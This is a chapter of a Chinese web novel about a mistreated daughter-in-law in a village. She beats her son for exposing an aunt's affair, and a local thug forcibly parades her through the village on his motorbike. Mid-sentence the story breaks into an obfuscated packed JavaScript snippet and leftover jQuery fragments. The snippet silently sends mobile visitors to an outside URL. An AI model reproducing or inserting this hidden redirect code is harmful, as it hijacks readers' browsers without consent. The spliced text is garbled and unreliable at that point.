入夜，偏房的油灯忽明忽暗，像是一只在风中挣扎的残萤，吐着细碎且昏黄的火苗。
田小草坐在炕沿边，那张清秀的脸庞在忽闪的灯光下显得愈发苍白，半边红肿的脸颊透着刺眼的青紫。
她手里攥着那根细细的小竹条，指尖因为过度用力而泛着青白，整条手臂都在微微颤抖。
“过来。”她的声音嘶哑得厉害，像是刚从粗糙的砂纸上磨过，带着一种令人心碎的疲态。
小浩站在阴影里，小小的身体紧绷着，像是一张拉满的弓。
他仰着脸，那张还没脱去稚气的脸上挂着斑驳的干泪痕，“妈，我没瞎说，我真的看见了。”
小浩的声音哽咽，却清晰得让小草心颤。
她当然知道他没瞎说，他说得一切，就算她再不愿相信，也都在喜凤的行为中证实。
“妈，我跟你说过的，在西头的小林子里，大龙妈跟那个牛二搂在一起，还亲嘴。”小浩旧事再提，丝毫没注意此时田小草低沉的脸色。
“妈，凭什么二婶能那样欺负你？我想让她们抬不起头来！”
“啪！”
一声清脆的响动，划破了死寂的夜。
竹条带着某种绝望的狠戾，重重地落在小浩细嫩的手心里。
田小草感到自己的心脏在那一瞬间也跟着抽搐了一下。
她看着儿子手心迅速浮起的一道红痕，那是她亲手刻下的伤。
不知道是怎么了，她明明只想口头教育的，却在一瞬间怒气冲顶，下了狠手。
“不许说！那是你二婶！那是长辈！”她低吼着，每一个字都像是从牙缝里生生挤出来的，带着浓重的鼻音，“以后这些话，哪怕烂在肚子里，发了霉，烂透了，你也不许再说一个字！”
“你想让这个家散了吗？你想让你妈去死吗？”
她怎么会不知道真相？她怎么会不知道对错？
她从小就教育小浩守品德讲真话，怎么会自己变成了说谎的人？怎么自己变成了逼他说谎的人？
田小草咬破嘴唇，不再看小浩，或者说她害怕看到小浩纯真的双眼。
小浩终于崩溃了，他放声大哭，那哭声在寂静的夜里显得格外凄惶。
他像个受惊的小兽，猛地扑进田小草的怀里，稚嫩的小手死死抱住母亲单薄的腰身，哭得整个人都在打战。
“妈……我错了，我以后再也不说了。你别哭了，”小浩抽搭着，声音里透着股令人绝望的懂事，“妈，我以后变强大了，我一定保护你，谁也不许再欺负你……”
那一瞬间，田小草苦守了一整天的心理防线，在孩子稚嫩的誓言面前彻底土崩瓦解。
她紧紧搂住孩子瘦小的肩膀，将脸深深地埋进他散发着泥土气和汗味的颈窝里，爆发一阵痛哭。
她整个人都剧烈地颤抖起来，她在哭儿子的早慧，在哭这世道的不公，更在哭自己的软弱。
“儿子……是妈没本事……妈对不起你……”
月光清冷如霜，顺着残破的窗棂撒进屋内，映照着这对在苦难中相拥的母子。
与此同时，正房里的喜凤却翻来覆去，一夜未眠。
她心虚地躺在那张宽大的红木床上，闭上眼，是牛二那双混杂着欲望和激情的眼，睁开眼，则是田小草那双静如死水的、仿佛能看穿一切的眼。
一来一回、手心手背都是屎。
流言这种东西，在老破乡村这种地方，只要起了一丁点儿苗头，就会顺着干枯的柴禾烧成燎原大火。
她太清楚那些碎嘴婆子的厉害了，一人一口唾沫就能把她淹死。
分家。
一定要分家。
这个念头在喜凤心里野草般疯长。
只有脱离了婆婆那双如影随形的眼睛，脱离了田小草这个扫把星，她才能彻底掌握话语权，才能活得随心所欲，才能不必担心被这个受气包妯娌撞破丑事。
翌日清晨，餐桌上的气氛压抑得几乎能拧出冷水。
大锅里的稀饭冒着稀薄的热气，田小草低着头，机械地给每个人盛饭。
她脸上的指印还没褪，在青白的晨曦中显出一种病态的淤青。
“娘。”喜凤突然搁下筷子，那动作极重，碗沿碰撞的声音在死寂的饭厅里格外刺耳。
她抬起头，虽然心虚，却用一种惯常的张扬掩盖住了眼底的慌张，“我想了想，昨儿那事儿闹得全村看笑话，可见咱们这妯娌的缘分是尽了。再这么挤在一个锅里吃饭，迟早得出人命。”
“我想着……不如分家吧。”
田小草盛饭的手猛地顿了一下，一滴粥水溅到了她的手背上，烫得她缩了缩，却依旧沉默着。
婆婆李老太的手顿住了，她缓缓抬起头，那双浑浊却又锐利的眼睛，死死地钉在喜凤脸上。
“你说什么？”
“我说分家。”
“以后各过各的，咱家那两亩坡地归我带大龙，也省得某些人背地里教孩子嚼舌根，坏了咱们家的风水。”喜凤理直气壮地挺起胸脯。
李老太一声冷笑，随即猛地将手里的粗瓷大碗砸在桌上，稀饭溅了喜凤一身。
“李家的祖训是家和万事兴。我还没断气呢，你就想着拆伙？分了家，你是想去哪儿野？别以为我不知道你心里打的那点脏主意！”婆婆的声音像是一块生了锈的铁，丝毫不可撼动，“再提分家两个字，你就直接领了休书滚出这个门！大龙留下，你净身出户！”
喜凤被噎得满脸通红，后槽牙咬得咯咯作响，却在这威压之下半个字也不敢再迸。
她转过头，阴毒地剜了田小草一眼。
这一切都是田小草的错，是她这个假贤惠的儿媳衬托出了她的难看，是她那个贱嘴巴儿子捅出了她的一切不堪。
晌午，烈日炙烤着大地。
田小草背着筐，打算去地里锄草，试图用繁重的体力劳动压制内心的荒凉。
刚出村口，那阵令人作呕的摩托车引擎声再度响起。
“轰——！”
牛二一个嚣张的漂移，摩托车横在田小草面前，扬起的漫天灰尘呛得她猛烈咳嗽起来。
“哟，这不是咱村最贤惠最懂事的小草妹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301545|198649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妹吗？”牛二跨在摩托上，歪着脖子，眼神肆无忌惮地在田小草被汗水浸透的衣襟上梭巡。
那目光黏糊糊的，像甩不掉的鼻涕。
他是受了喜凤的暗示，特地来帮她出口气。
喜凤让他出气，可牛二这种地痞，最擅长的就是通过羞辱女人的尊严来显摆威风。
“让开。”田小草低着头，声音冷如冰，身体却在颤抖。
“别走啊，哥带你去县城兜兜风。”牛二冷笑一声，长臂一伸，铁钳般的手死死拽住了田小草的胳膊，猛地往后座上一拉。
“你放开！牛二，你疯了！救命！”
田小草挣扎着，背筐里的锄头磕在石板上发出刺耳的声响。
然而，一个常年劳作却营养不良的女人，她的力气在蛮横的暴力面前，显得那么微不足道。
牛二狂笑着，猛拧油门。摩托车嘶吼着，载着惊恐尖叫的田小草在村里的黄土大道上疯跑。
“快看啊！小草坐牛二的车啦！”
“昨天还说别人呢，谁知道今天自己跟那无赖绞到一起。”
“啧啧，这平时瞧着正经，私底下谁知道呢？”
“……”
范大嘴正蹲在墙根底下嗑着瓜子，眼珠子瞪得溜圆，兴奋得手舞足蹈。
她像是闻到了腥味的苍蝇，扯着嗓子对着邻居大喊，“哎呀我说什么来着！这守活寡的滋味不好受，你们瞧瞧，平时闷声不响，这一勾搭上牛二，跑得比谁都欢实！瞧那手抓得多死！”
田小草坐在车后座，由于惯性，她不得不死死抓着坐垫。
她的指甲因为过度用力而劈裂，鲜血淋漓地印在黑色的皮套上。她感到风像冰冷的刀片，割裂她的面颊。
周围那些模糊的人脸、嘲弄的笑声，像是一个巨大的漩涡要将她吞没。
当牛二终于玩够了，将田小草像一件破家具一样扔在李家大门口时，田小草整个人已经虚脱了。
她瘫坐在泥地上，头发乱成了一团，衣裳在挣扎中被扯开了两道口子，露出了一小截苍白的锁骨。
婆婆李婶正站在门槛内，脸色阴沉得如同积压了千年的寒霜。
在这个闭塞的村子里，面子就是天，贞洁就是地。
“丢人现眼的东西，李家的名声全让你败光了。”婆婆没有问缘由，没有安慰，只是冷冷地吐出这几个字，随后猛地关上了大门。
“哐当”一声。
那一刻，田小草感到了前所未有的绝望。
喜凤躲在厢房的窗帘后，听着婆婆回屋时沉重的呼吸声，看着田小草坐在泥地里的狼狈样，她感到了一种近乎扭曲的快意。
婆婆越是厌恶田小草，她的秘密就越安全。
她对着镜子，轻轻抹了抹嘴角的笑痕，低声呢喃道，“这下，看谁还说你是清白的。”
风卷着沙土，在这个残破的院落里打着旋。
田小草缓缓地撑着地面站了起来。她拍了拍膝盖上的泥，又仔细地、一颗颗扣好了胸前散开的纽扣。
她没有反驳任何人的话，只是无奈地顺从。